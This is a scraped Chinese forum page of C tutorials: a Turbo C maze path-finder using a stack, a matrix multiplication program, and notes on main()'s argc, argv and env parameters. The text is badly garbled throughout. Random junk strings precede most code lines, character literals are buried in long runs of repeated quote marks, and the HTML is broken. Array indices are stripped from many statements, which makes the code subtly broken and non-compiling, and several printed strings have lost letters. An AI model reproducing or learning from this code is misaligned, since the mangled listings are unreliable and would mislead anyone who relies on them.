C语言技术文章

韩冰

<DIV  align=left>
< align=left>程序目的：
输入一个任意大小的迷宫，用栈求出一条走出迷宫的路径，并
显示在屏幕上。
& \- L# v& I- |) v3 A0 t9 X: p; a程序实现：
可以实现载入迷宫和保存迷宫，附带文件中有4个测试迷宫路径的
文件test1~4.dd。请将这些文件拷贝到TC当前目录下，或者在载
  B7 M7 Z. {( Z& ?, p0 J入时写明完全路径。由于屏幕大小的限制，当用户自己输入迷宫
时一定要注意：迷宫大小是有限制的，不小于4*3,不大于30*20。
否则会出现错误信息。输入开始时全是墙，用上下左右键移动，
用Del键删除墙，形成通路，用Enter键添加墙。输入结束时可以
将迷宫保存下来，以dd为扩展名。输入完毕时用F9键来得到结果，
# s3 ?: g! ~3 D8 V% U3 N5 C! L  h找到路径时，屏幕下方会出现Path found，否则出现Path not found。
程序经Turbo C 2.0编译调试成功。运行时不用添加任何运行库。
( l1 e0 h1 S4 d% k不可以在VC上编译。
0 V) @8 B  G# t+ Q/ n+ v下载DOS版和windows版的迷宫游戏全部代码
5 k2 r2 p8 }+ G( G4 V8 t$ \用户名：migong
----------------------------------------------------------------------------------
- R, w, _% W  R$ b- [& J! t/*
! p, _1 T5 z; j3 vMazePath Demo BY Turbo C 2.0
- e- w/ l5 v: h& V2 ECopyright(c) RoverUnion. All right reserved.
Filename: Maze.c
7 b! t! C6 w+ |; z/ ~% HAuthor Dongchengyu.
/ X! T. X7 F5 T' i2 I0 H' _Ver 1.10
% h( s% G9 @4 G8 d! t5 m) k. L*/
#include &lt;stdio.h&gt;
  ^" Z( b0 W8 D#include &lt;stdlib.h&gt;
#include &lt;malloc.h&gt;
  @& O. E6 r9 u, h/ Z+ O7 [1 N#include &lt;conio.h&gt;
1 ]/ W9 S" B  w( I. }- P#include &lt;dos.h&gt;
7 [" R) q7 ?" f1 `6 b* i  G; {; c2 A! r- E#define OK 1
#define ERROR 0
#define TRUE 1
#define FALSE 0
#define F9 0x43
- H8 P9 Y4 M( g. A7 V  P#define Esc 0x1b
#define Del 0x53
#define Home 0x47
#define End 0x4f
! q% |/ i+ d; u. G# _#define Space 0x20
#define Up 0x48
0 E. J- H* Z& m% T% F#define Down 0x50
1 Q8 ?& P9 k4 D7 ]& s8 i% k8 q; C#define Left 0x4b
  L( n  G8 c, P$ X0 w$ c6 [#define Right 0x4d
#define Enter 0x0d
+ v; C  [) j1 Y- A#define F2 0x3c
#define F3 0x3d
. u: F& d4 d! }#define STACK_INIT_SIZE 200
- G: n. K. @% D7 o! G5 B2 p) W#define STACKINCREMENT 10
typedef int Boolean;
typedef int Status;
7 W. \) ]3 ?5 R! Ntypedef struct {
+ E6 v3 F0 h: W0 i, a) Tint x;
int y;
0 u) P" R" l4 j& d/ }: }} PosType;
typedef struct {
int ord;
PosType seat;
int di;
} SElemType;
typedef struct {
int td;
$ E4 H# k1 L8 f0 Aint foot;
1 G( V5 H' r5 kint mark;
8 p' ~& K$ O& Z% K7 S} MazeType;
; F) b( }9 r; u7 Ctypedef struct {
9 j& I- J' H9 |7 c8 S: I# wSElemType *base;
: w% L5 U: |# GSElemType *top;
int stacksize;
} Stack;
* V: A9 e% t* q' i2 A4 Oint Maze[20][30];
6 c( w/ p0 \( W* r' T) gMazeType maze[20][30];
0 q# U, Z7 s$ a6 p- oPosType StartPlace;
& P, {+ l) j$ r$ Q- WPosType EndPlace;
int count;
int m,n;
Boolean b_start=FALSE,b_end=FALSE;
; w( Y/ F: K+ ~& l: w1 ?3 J  jvoid CreatMaze(void);
* H8 S+ j7 J; I4 x( yStatus SaveMaze(char *filename);
Status LoadMaze(char *filename);
2 e+ o8 k- G- X, c& f9 h; }& {4 F3 Ivoid Error(char *message);
Status InitStack(Stack *s);
: U# w/ _, w8 W# b  w2 q* K' AStatus DestroyStack(Stack *s);
Status ClearStack(Stack *s);
8 R, _  ?, f- r, n: Q% v0 {Boolean StackEmpty(Stack *s);
int StackLength(Stack *s);
Status Push(Stack *s,SElemType e);
SElemType Pop(Stack *s,SElemType e);
Status GetTop(Stack *s,SElemType *e);
) s( c1 y# X6 E! B. f/ yStatus StackTraverse(Stack *s,Status (* visit)(SElemType *se));
Boolean Pass(PosType curpos);
* V$ r% c" O* m4 G8 y6 bvoid MarkPrint(PosType seat);
void FootPrint(PosType curpos);
PosType NextPos(PosType seat,int di);
! ]! \* W" s6 kStatus MazePath(PosType start,PosType end);
void CreatMaze(void)
/* Form the maze. */
$ P/ P8 o4 B6 W- @, S{
void Error(char *message);
Status SaveMaze(char *filename);
Status LoadMaze(char *filename);
% t) \3 ?  z: }0 F, n0 lint i,j;
3 R5 T1 ?3 q/ h, wint x,y;
6 @3 T3 T% P1 xchar c;
5 u4 W+ {1 `$ L7 J0 ]- Q. P( K* N& jchar savename[12],loadname[12];
Boolean flag=FALSE,load=FALSE;
5 N- Q2 a4 X8 n; `" u. aclrscr();
printf("Menu:\n\n");
: Z, }* ^, r# B5 @; Q9 jprintf("1.Load Mazefile*.dd)\n\n");
printf("2.Input Maze:\n\n");
printf("Input your choice: ");
0 l9 {5 H0 L! w# sdo
{
! Z* ?2 ]$ G" [; i5 m/ H" S; lc=getch();
switch(c)
{
case ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''); break;
4 o: D2 o% D% p% x5 c2 X7 |; gcase ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''); break;
case Esc: sleep(1); exit(1);
default: break;
}
  n% j- N- [  ?, E/ o1 L}
& M: K- R7 G+ s: l7 }! S, ]while(c!=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''&amp;&amp;c!=''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''') ;
if(c==''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''')
; k4 s3 C/ Y5 F6 ~{
printf("\n\nLoadName: ");
. ^+ N. q; I' K! r' Y* vscanf("%s",loadname);
if(LoadMaze(loadname))
{
sleep(1); load=TRUE;
9 L. n0 e3 d$ z8 N* A/ S}
8 V, n9 w- F9 [+ k5 q9 J; u* `1 ]else { gotoxy(1,9); printf("Load fail! "); }
" a; c4 x2 C* |+ r5 J2 g5 [}
if(!load)
" n- P( I8 W& u$ t8 F9 Y1 ?" t{
( W, s! ~& w# U+ U# d  Qprintf("\nInput the maze''''''''''''''''''''''''''''''''s size:\n");
& z6 u# S. Q% s3 K* q7 wprintf("\nInput Length :\n");
scanf("%d",&amp;m);
- q! X8 X! y2 I* f! j6 ]printf("\nInput Width :\n");
scanf("%d",&amp;n);
. j2 |% w" q5 ~, g$ v, |$ nif(m&lt;4||n&lt;4) Error("Input");
, r7 d+ j: N- H6 Q& Z. rif(m&gt;30||n&gt;20) Error("Maze too large");
for(i=0;i&lt;30;i++)
4 p0 r- Q4 U; i- y' ifor(j=0;j&lt;20;j++)
7 y. A& ]9 i" f9 K! W$ wMaze[j]=2;
- ~0 B6 {  T& a' u) x! O" {* bStartPlace.x=0;
% Z3 B( ^! _- t/ @# e7 {StartPlace.y=0;
EndPlace.x=0;
' ~# Z: @4 a# d- g  \EndPlace.y=0;
clrscr();
printf("\n");
9 Z& ?' A. X8 M0 J4 {+ l. z! ofor(i=1;i&lt;=n;i++)
{
for(j=1;j&lt;=m;j++)
. }9 {! P$ m& t6 q1 w{
0 p: \/ Z: j, n. d% L' N1 ^& g$ T  Hprintf(" #");
Maze[i-1][j-1]=0;
) n) V0 a/ o% B/ s; Q: i3 P}
printf("\n");
1 I! f& ^/ F2 g3 V}
}
gotoxy(65,5);
printf("''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''':Wall");
gotoxy(65,7);
: W' B% A+ @1 @printf("Start:Home");
  a' B+ v+ T$ b& O- [gotoxy(65,9);
printf("End:End");
gotoxy(65,11);
( s& P8 S) d, a6 s0 m, fprintf("Delete Wallel");
gotoxy(65,13);
2 \4 z3 H  }: O" k" U' s6 _( Cprintf("Enter Wall:Enter");
gotoxy(65,15);
printf("Save Maze:F2");
gotoxy(65,17);
printf("Complete:F9");
# E" R6 h+ }% xgotoxy(65,19);
printf("Exit:Esc");
3 c1 `7 \% ]9 R: R/ t% o' d1 Dgotoxy(4,3);
x=4;y=3;
do
{
" ~1 `0 u% g  k1 a) N  I' k* cc=getch();
+ T% B7 o5 t8 d8 m8 Y( Uswitch(c)
  }& t* D2 S) S{
. a3 E* c# p5 h$ G! Q) c2 tcase Up: if(y&gt;3) { y--; gotoxy(x,y); }
break;
' x+ u' K( M: K( M& wcase Down: if(y&lt;n) { y++; gotoxy(x,y); }
3 B, u' |2 k6 x- ?. gbreak;
7 Z) d9 ]6 ~* \  O! i& p3 Fcase Left: if(x&gt;4) { x-=2; gotoxy(x,y); }
break;
case Right: if(x&lt;2*m-2) { x+=2; gotoxy(x,y); }
5 Q  U, ?9 ~6 K  D  _3 _break;
case Del: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) b_start=FALSE;
$ J4 i( q: B, g- t$ y( d3 L; Vif(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) b_end=FALSE;
% J2 R8 S' q* j4 g* K. Eputch('''''''''''''''''''''''''''''''' ''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=1; gotoxy(x,y);
" l2 a  \( m+ C  Q8 b# nbreak;
8 a6 u1 z: w5 W% p& ~8 bcase Enter: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) break;
6 d8 l% X1 ]) X3 c3 aif(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) break;
putch(''''''''''''''''''''''''''''''''#''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=0; gotoxy(x,y);
break;
$ i8 K8 @3 Q6 j% ccase Home: if(Maze[y-2][x/2-1]&amp;&amp;!b_start)
{
StartPlace.x=x/2-1;
2 g) h# G7 J' O$ O: UStartPlace.y=y-2;
putch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');
& V3 {* n! k8 }, T9 Sgotoxy(x,y);
9 f* M* w! n) x( `4 D. U2 {! Tb_start=TRUE;
# R! X% [8 H: G! u# d- E# x) E7 n}
break;
, q( Q. G) W. dcase End: if(Maze[y-2][x/2-1]&amp;&amp;!b_end)
1 Z# ~0 X) c5 ~, m1 u2 e1 P' N{
EndPlace.x=x/2-1;
) _5 ]& a0 n# b3 p. AEndPlace.y=y-2;
; Y  N4 V3 x, X) i5 F( Iputch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');
5 [8 E- t/ L" f8 Bgotoxy(x,y);
b_end=TRUE;
}
break;
case Esc: gotoxy(2,22); printf("exit"); sleep(1); exit(1);
* R6 m# Z: `$ bcase F9: if(b_start&amp;&amp;b_end) flag=TRUE; break;
case F2: gotoxy(2,22);
8 g0 V) s% O/ V, o/ ~" M7 zprintf("Savename:");
scanf("%s",savename);
+ b' r9 p) q6 o- u" S+ kgotoxy(2,22);
if(SaveMaze(savename)) printf("Save OK! ");
else printf("Save fail! ");
sleep(1);
, A4 R$ I' o0 Q) U- a) {) f) Xgotoxy(2,22);
( W2 R. }7 L2 {/ ]  hprintf(" ");
gotoxy(x,y);
break;
9 }( F* w$ i$ mdefault: break;
}
9 L, D! y" }6 G* y1 u; ~0 Q4 m}
while(!flag);
2 d7 K  _) x; E* ^+ `" d& T8 Wfor(i=0;i&lt;30;i++)
for(j=0;j&lt;20;j++)
{
maze[j].td=Maze[j];
+ @/ U6 o% w. P1 q6 lmaze[j].mark=0;
maze[j].foot=0;
/ _( R, s  y5 i/ p}
( n' S- O* T; `+ O: k}
% w' @; R$ H- d3 S9 i1 l* kStatus LoadMaze(char *file)
/* The maze has been loaded. */
{
& G/ j! [. Q3 R+ P7 Z* U/ `FILE *fp;
% v" E! ?, p: k2 M- g$ \char *buffer;
. }7 S! o" ~2 ]. J( @* m" Ichar ch;
; x. m0 k: }% hint i=0,j,k;
Boolean len=FALSE,wid=FALSE;
if((fp=fopen(file,"r"))==NULL)
: p0 I. B) F9 }8 Q/ Ireturn ERROR;
buffer=(char *)malloc(600*sizeof(char));
ch=fgetc(fp);
/ g$ j3 I* O+ A2 Vwhile(ch!=EOF)
{
/ C% }  J- F$ ybuffer=ch;
i++;
ch=fgetc(fp);
}
1 \" Y+ h: V6 ~1 N; M- Vm=30;n=20;
: h! t+ Q  P! j* qfor(i=0;i&lt;600;i++)
{
) n1 ~8 A3 s& M% I& Xj=i/30; k=i%30;
8 f3 `3 k2 ?# i% y  Yif(buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!len){ m=i; len=TRUE; }
" @6 r; ^0 n6 h' K! W  Rif(k==0&amp;&amp;buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!wid){ n=j; wid=TRUE; }
& T) n9 Q; H4 K# {+ dswitch(buffer)
{
7 j3 r' R) ^' p! Y% C) n$ P* Ccase ''''''''''''''''''''''''''''''''0'''''''''''''''''''''''''''''''': Maze[j][k]=0; break;
case ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': Maze[j][k]=1; break;
  A# b' L& j( s: vcase ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': Maze[j][k]=2; break;
4 |, y, k9 i$ M! j  ]: S  |, [case ''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''': Maze[j][k]=1;
! x6 {( u" i7 l: GStartPlace.x=k;
; g5 ~1 B# H! l- S0 u5 OStartPlace.y=j;
% w# V+ @) j( O& O. `& zb_start=TRUE;
break;
9 K9 d; m" L4 r: }% o0 ^; qcase ''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''': Maze[j][k]=1;
EndPlace.x=k;
EndPlace.y=j;
5 F4 `+ x, }9 r; D: L+ db_end=TRUE;
. R: K. ]% w- {' h0 E  wbreak;
default : break;
}
}
fclose(fp);
clrscr();
! o& Z+ T% q2 W" X4 c" `for(i=0;i&lt;30;i++)
) ~5 D& ~5 a  b) kfor(j=0;j&lt;20;j++)
{
; ^0 B5 n# H- r: w2 e8 Y# c  ~maze[j].td=Maze[j];
maze[j].foot=0;
maze[j].mark=0;
if(Maze[j]==0)
{
gotoxy(2*i+2,j+2);
putch(''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''');
}
& v6 f1 [2 d8 f+ h& H}
7 r2 @6 \/ l( H. }4 [3 ogotoxy(2*StartPlace.x+2,StartPlace.y+2);
putch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');
- N9 I# x) E& Q& J2 G# Fgotoxy(2*EndPlace.x+2,EndPlace.y+2);
+ [; W% Y4 I' k3 `7 m4 E, ]; T( `putch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');
! C1 B+ k4 g6 m) n' xreturn OK;
- b9 L" l0 c# O! B9 V}
6 x3 [( I. Q4 G* O6 zStatus SaveMaze(char *filename)
% d6 C3 d, X8 F7 {$ @1 E3 K5 [/* The maze has been saved. */
{
5 @+ l6 w" T+ ^9 |+ \FILE *fp;
( B7 y7 @8 e2 k, x8 U" f8 c* L+ Ochar *buffer;
) M& y7 z4 S4 h+ e0 I7 Vint i,j,k;
, Y7 W6 [7 `4 C8 P5 D7 e! Qfp=fopen(filename,"wb");
* A4 Z  C% Z. T+ kbuffer=(char *)malloc(600*sizeof(char));
) J+ T4 K3 x; @( Tfor(i=0;i&lt;600;i++)
1 d' t6 I% q* |' J9 j7 W{
j=i/30; k=i%30;
  Y3 x/ l! W& W4 g! v, nswitch(Maze[j][k])
{
/ W' H. r, O; \3 M1 s, U: dcase 0: buffer=''''''''''''''''''''''''''''''''0''''''''''''''''''''''''''''''''; break;
$ O" O, w0 n( X6 Y( ~6 ~3 y( Zcase 1: buffer=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''; break;
case 2: buffer=''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''; break;
default : Error("Write"); break;
) O; F: S& l) i# |* F}
if(k==StartPlace.x&amp;&amp;j==StartPlace.y) buffer=''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''';
if(k==EndPlace.x&amp;&amp;j==EndPlace.y) buffer=''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''';
}
fwrite(buffer,600,1,fp);
4 G6 g: O# R/ a0 ffree(buffer);
fclose(fp);
return OK;
4 y- z# X, n! X, b}
7 Z9 W% ]6 j& e- j- l/ ivoid Error(char *message)
; s* p) f/ a1 q# q# F{
  a# ?* B+ F8 H" B5 i, p7 T9 iclrscr();
' O0 Z1 t$ ~3 ?) K3 \fprintf(stderr,"Error:%s\n",message);
8 L* n- x8 _0 t; xexit(1);
} /* Error */
3 Q; e" c: J; o' E% D# C0 r
8 F( i4 F% L: `  BStatus InitStack(Stack *s)
# {3 U4 ]; x! v/* The stack s has been created and is initialized to be empty. */
{
; V! m; x  @9 b0 Z' e# Vs-&gt;base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));
if(!s-&gt;base) Error("Overflow");
s-&gt;top=s-&gt;base;
/ v$ E, M- m3 r2 d5 H) is-&gt;stacksize=STACK_INIT_SIZE;
return OK;
} /* InitStack */
+ B- h  h# ^* u, _Status DestroyStack(Stack *s)
" _# {; D! J  N, D1 q; t/* The stack s has been destroyed. */
{
s-&gt;top=NULL;
, I+ b: f5 ^/ C& t7 P) ws-&gt;stacksize=0;
free(s-&gt;base);
s-&gt;base=NULL;
+ z: _' U6 u- f0 f3 \return OK;
) d) @6 u& [3 E2 ]} /* DestroyStack */
% K0 m) J2 _2 A8 o% p5 \Status ClearStack(Stack *s)
! D/ R# t7 N) p  b/* The stack has been clear to be maximum. */
( ~6 ^0 _( Y- @0 Z5 `5 x0 _0 R. \{
) v( b5 O3 T7 h4 m: xs-&gt;top=s-&gt;base;
* H( I# p: K4 a* bs-&gt;stacksize=STACK_INIT_SIZE;
return OK;
. T! p( i/ x" d( E; y, r9 ^- \} /* ClearStack */
( R4 s" R6 d2 ZBoolean StackEmpty(Stack *s)
/* Check if the stack s is empty. */
{
if(s-&gt;top==s-&gt;base) return TRUE;
else return FALSE;
6 h- k3 d& E, C6 l! P} /* StackEmpty */
; @8 l9 B. e; \1 \' Gint StackLength(Stack *s)
( Y3 |* P) n1 a( v: ^/* Gain the length of the stack s. */
{
if(s-&gt;top&gt;s-&gt;base) return (int)(s-&gt;top-s-&gt;base);
else return 0;
} /* StackLength */
Status Push(Stack *s,SElemType e)
/* The element e has been pushed into the stack s. */
; [& U5 |( N: [# O7 |# C' g{
if(s-&gt;top-s-&gt;base&gt;=s-&gt;stacksize)
% k0 J0 c# K) s( M' z{
s-&gt;base=(SElemType *)realloc(s-&gt;base,
(s-&gt;stacksize+STACKINCREMENT)*sizeof(SElemType));
if(!s-&gt;base) Error("Overflow");
s-&gt;top=s-&gt;base+s-&gt;stacksize;
s-&gt;stacksize+=STACKINCREMENT;
}
*s-&gt;top++=e;
return OK;
" v2 {- B$ s8 L, F0 W} /* Push */
/ ~, e3 u4 e- k) bSElemType Pop(Stack *s,SElemType e)
+ p+ i  u& }/ h/* The element e has been removed from the stack s. */
{
if(s-&gt;top==s-&gt;base) Error("op");
( M- a7 ]# C/ G( f9 e- ?' Ue=*--s-&gt;top;
' f( u" b6 P5 T* v6 }return e;
} /* Pop */
% V5 ^2 r' p8 o5 Q) G# N' c  SStatus GetTop(Stack *s,SElemType *e)
; V% t0 c4 z; R% M8 ^3 v* t2 o/* The element e has got to the top of the stack s.*/
{
if(s-&gt;top==s-&gt;base) Error("GetTop");
*e=*(s-&gt;top-1);
return OK;
} /* GetTop */
/* Traverse the stack s using ''''''''''''''''''''''''''''''''visiting'''''''''''''''''''''''''''''''' function. */
% Q/ y. P  y4 J. D; ]/* Status StackTraverse(Stack *s,Status (* visit)(SElemType *se))
{
SElemType p;
int result;
. e9 L6 W# }& _9 T* aif(s-&gt;top==s-&gt;base) return ERROR;
p=s-&gt;base;
, Y2 c  L: C& [7 D  C" L5 `while(!(p==s-&gt;top))
( q1 y! C6 Y0 P{
result=(*visit)(p);
6 {( a. S! W- x" z7 Q& }- {p++;
}
1 e) J1 y7 t8 F9 X) Yreturn OK;
$ i9 Y! h1 G: t* }* h} */
1 f7 L' x; a7 P( d  J4 aBoolean Pass(PosType curpos)
/* Check if the current position can be passed. */
{
if(maze[curpos.x][curpos.y].td==1&amp;&amp;
. X7 I( N) X: k$ p+ r0 O# N! X$ ?2 ~% pmaze[curpos.x][curpos.y].foot==0&amp;&amp;maze[curpos.x][curpos.y].mark==0)
- E: a& D+ B( N& w  Vreturn TRUE;
else return FALSE;
} /* Pass */
void MarkPrint(PosType seat)
0 ~$ z8 S( d/ Y1 V/* Mark the position seat. */
{
maze[seat.x][seat.y].mark=-1;
/* Marking ''''''''''''''''''''''''''''''''-1'''''''''''''''''''''''''''''''' symbolize the current position cannot be put. */
1 V; J9 U- i' o& ^& n} /* MarkPrint */
+ i( D# G+ f1 o# |void FootPrint(PosType curpos)
9 M$ c5 D$ ~( l4 c3 {/* The foot of the curpos of the maze has been set ''''''''''''''''''''''''''''''''true''''''''''''''''''''''''''''''''. */
" A' V( r/ V6 N+ j# f/ Y{
# @4 p  m9 c$ m8 m7 ?/ R  `+ bmaze[curpos.x][curpos.y].foot=1;
} /* FootPrint */
2 B2 c1 n2 X3 vPosType NextPos(PosType seat,int di)
  B0 G& i( U# ~{
" _( p6 `# _! O5 ]# a  }switch(di)
{
case 1: seat.y++; return seat; /* Eastward */
9 F8 t! d9 q) U$ F  ncase 2: seat.x++; return seat; /* Southward */
+ O3 d8 Z+ U! M" o( O5 [case 3: seat.y--; return seat; /* Westward */
case 4: seat.x--; return seat; /* Northward */
default: seat.x=0; seat.y=0; return seat;
! J/ `' {2 a& W' C}
  T2 y* A3 z3 d+ d} /* NextPos */
0 B- N+ s: o% P8 x+ I7 a
/* The key to the program. */
# {1 }# [( o3 i# T  Y/* Pre: The maze array &amp; the startplace &amp; the endplace.
2 e6 a! |/ T/ K% W; ~/ PPost: Find the one traverse of the maze and perform the mazepath.
/ s+ G. Y- l  F, ZUses: The ADT stack class.
*/
: @+ k: r& f- E0 f4 EStatus MazePath(PosType start,PosType end)
5 I/ F1 E0 d! f8 x9 G& V{
( O4 B3 v" p. f4 O" NPosType curpos;
int curstep;
) K9 s0 S8 k5 x6 a8 \SElemType e;
. V' F- `7 n1 e! F8 AStack *s,stack;
4 o9 U0 o6 G' Q, f1 C6 @stack.base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));
if(!stack.base) Error("Overflow");
0 E' r" B- @: h7 H" C1 |stack.top=stack.base;
stack.stacksize=STACK_INIT_SIZE;
5 `# {& `7 x0 X6 r; zs=&amp;stack;
curpos=start;
( g% }8 `, L) q2 a8 F9 wcurstep=1;
do
6 o  J# x& r7 D2 o{
if(Pass(curpos))
! t$ v! s" N' r7 \{
FootPrint(curpos);
e.ord=curstep; e.seat=curpos; e.di=1;
' G8 p* v" ]) m" i3 w* _* X! }, f5 hgotoxy((curpos.y+1)*2,curpos.x+2);
putch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');
delay(8000); /* pospone time. */
$ F3 A1 h9 U8 S5 e/ LPush(s,e);
if(curpos.x==end.x&amp;&amp;curpos.y==end.y) /* Proceed recursively. */
{
DestroyStack(s);
. E; [- ?# ^; b9 vreturn TRUE;
1 M% I) ^% ^3 r}
curpos=NextPos(curpos,1); /* Try next position. */
- W/ W% x! i3 A5 W  T% i, \5 l7 Ycurstep++;
}
9 J# X; A' i' {; X9 _" Uelse
9 r/ {3 E7 l/ f$ ^! A7 B{
" C; ]! l2 y7 O. t0 I4 `7 pif(!StackEmpty(s))
{
. N8 A! v" B8 C( Q" \e=Pop(s,e); /* Removed e from s. */
while(e.di==4&amp;&amp;!StackEmpty(s)) /* Four directions have been checked
and s is not empty. */
7 L+ X( D) z% @# z; r. Z{
MarkPrint(e.seat);
gotoxy((e.seat.y+1)*2,e.seat.x+2);
7 B' ]( }; s3 T  y8 d0 }" o/ Oputch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');
  N! n& ~4 g+ r( f6 }+ g* o% fdelay(8000); /* Pospone time. */
- @. S  [9 ^$ c  H* ugotoxy((e.seat.y+1)*2,e.seat.x+2);
) k2 r# {# [$ E% r; kputch('''''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''''');
  ^4 |6 M5 J9 [" z9 xe=Pop(s,e); /* Remove e from s. */
curstep--;
}
if(e.di&lt;4) /* The current position hasnot been checked. */
{
: f$ g; A0 I# m8 G3 [2 N$ X2 Me.di++;
! \& y  G/ P' ~" L+ d& K, \, WPush(s,e); /* Insert e into s. */
! [! v, U  J$ z( G8 u: ycurpos=NextPos(e.seat,e.di); /* Try next position. */
4 r9 s9 a/ P4 q1 t}
}
8 @% F4 g8 G! V$ p4 G}
}
$ b# B, ]) [: l% p+ hwhile(!StackEmpty(s));
DestroyStack(s);
: R/ y: Z) c, x% W1 Ureturn FALSE;
} /* MazePath */
: p$ H; m7 m3 L2 O* [1 Lvoid main()
{
* ^# Z: k$ j! d2 Y* O2 `/ cPosType start,end;
CreatMaze();
7 F$ D$ T! g1 ]' R' K' o6 zstart.x=StartPlace.y;
start.y=StartPlace.x;
end.x=EndPlace.y;
end.y=EndPlace.x;
if(MazePath(start,end))
4 V5 X! T! X' \1 {3 ?$ c{
gotoxy(2,22);
" M. U" ^* C: E9 o, g7 O5 oprintf("ath found\n");
}
$ N: l) f0 u  L! d$ Zelse
{
gotoxy(2,22);
printf("ath not found\n");
}
9 ]  i  f9 n+ M; P7 Dgetch();
clrscr();
} </P></DIV>

韩冰

< align=center><FONT color=#cc0000 size=5><B>两个矩阵相乘的源程序</B></FONT></P><>/*****************A=B*C******************/
5 W; K2 y& l5 }#include&lt;stdio.h&gt;
#include&lt;conio.h&gt;
! W' o6 i7 C5 f. V- ?% j; w& k3 {#define X 3
2 g) V9 k$ D2 {- y! ^( v#define Y 3</P><>int a[X][Y];
5 U0 w- r; T+ H! W% J# _7 ~" Jint b[X][Y];
int c[X][Y];</P><>void matrix(int b[][X],int c[][Y]);
main()
5 F. k- g$ d, k{
int i,j,temp;
, _2 I1 @; {0 x! @) H9 Yclrscr();
printf("lease input int matrix b[%d][%d]\n",X,Y);
8 a) n& q& m8 Z& Z7 h' [+ t, o; X* Q5 mfor(i=0;i&lt;Y;i++)
for(j=0;j&lt;Y;j++){
6 l# W  _( H+ ^3 e6 l- zscanf("%d",&amp;temp);
, a7 d' n# W7 b2 q8 Yb[j]=temp;
) M2 K( r5 I: A: z& s( e}
( f/ @, A- {- i. ?) nprintf("lease input int matrix c[%d][%d]\n",X,Y);
for(i=0;i&lt;X;i++)
) ?$ R0 L! G# e5 yfor(j=0;j&lt;Y;j++){
scanf("%d",&amp;temp);
c[j]=temp;
, {' M5 m3 n3 \$ c0 S5 |1 @1 h}
- D' z5 a, E1 u  ^# r8 Y5 Z0 nmatrix(b,c);
printf("Now print resource matrix b[%d][%d]=",X,Y);
! f  n& `+ O: L! \: Y' |/ s" A. lfor(i=0;i&lt;X;i++){
# f# f- O0 m9 Q( j, z: N( _) aprintf("\n");
for(j=0;j&lt;Y;j++)
printf("%d ",b[j]);
}
printf("\n");
printf("Now print resource matrix c[%d][%d]=",X,Y);
for(i=0;i&lt;X;i++){
printf("\n");
for(j=0;j&lt;Y;j++)
printf("%d ",c[j]);
1 A" j+ y0 \1 z. {% ?}
. C$ I+ Z% p9 F' F6 mprintf("\n");
printf("Now printm multiply results matrix a[%d][%d]=B*C:",X,Y);
& R1 c! v. U  H- m# W+ A0 jfor(i=0;i&lt;X;i++){
  x1 {# b3 \5 G# Jprintf("\n");
for(j=0;j&lt;Y;j++)
( |* V7 F( o: a& N& _' \. v3 l- ?printf("%d ",a[j]);
- [1 _; d- \; `) F. V}
" h. Q" M/ V) y* M% g8 a* M+ Cgetch();
return 0;
}
/********************************************************************/
void matrix(int b[][X],int c[][Y])
{
int i,j,k,temp;
for(i=0;i&lt;X;i++)
for(j=0;j&lt;Y;j++){
+ @9 k, f/ v5 n) ~. ~2 Afor(k=0;k&lt;Y;k++)
a[j]+=b[k]*c[k][j];
}
}</P>

韩冰

<>　　再谈main()主函数
7 O( N& ]9 V  p6 m9 J　　每一C 程序都必须有一main()函数，可以根据自己的爱好把它放在程序的某个地方。有些程序员把它放在最前面，而另一些程序员把它放在最后面，无论放在哪个地方，以下几点说明都是适合的。
1. main() 参数
& k/ m7 H2 Y; [& M! y6 m2 T; Y　　在Turbo C2.0启动过程中，传递main()函数三个参数：argc，argv和env。
. w% u. |' H. H! e6 @/ N　　* argc: 整数，为传给main()的命令行参数个数。
, f, A$ c- B" X( w8 y) d　　* argv: 字符串数组。
在DOS 3.X 版本中，argv[0] 为程序运行的全路径名；
% I: Y/ h- L( X# X- \; m对DOS 3.0 以下的版本，argv[0]为空串("") 。argv[1] 为在DOS 命令行中执行程序名后的第一个字符串；argv[2] 为执行程序名后的第二个字符串；
2 s( r5 p7 q' S% }6 }4 Y" `...
; x6 M9 S. @% q" o9 I3 gargv[argc]为NULL。
　　*env: 安符串数组。env[] 的每一个元素都包含ENVVAR=value形式的字符串。其中ENVVAR为环境变量如PATH或87。value 为ENVVAR的对应
: p$ w2 a8 `$ N0 a- i6 Z值如C:\DOS，C:\TURBOC(对于PATH) 或YES(对于87)。</P>

韩冰

< align=center><FONT color=#cc0000 size=5><B>
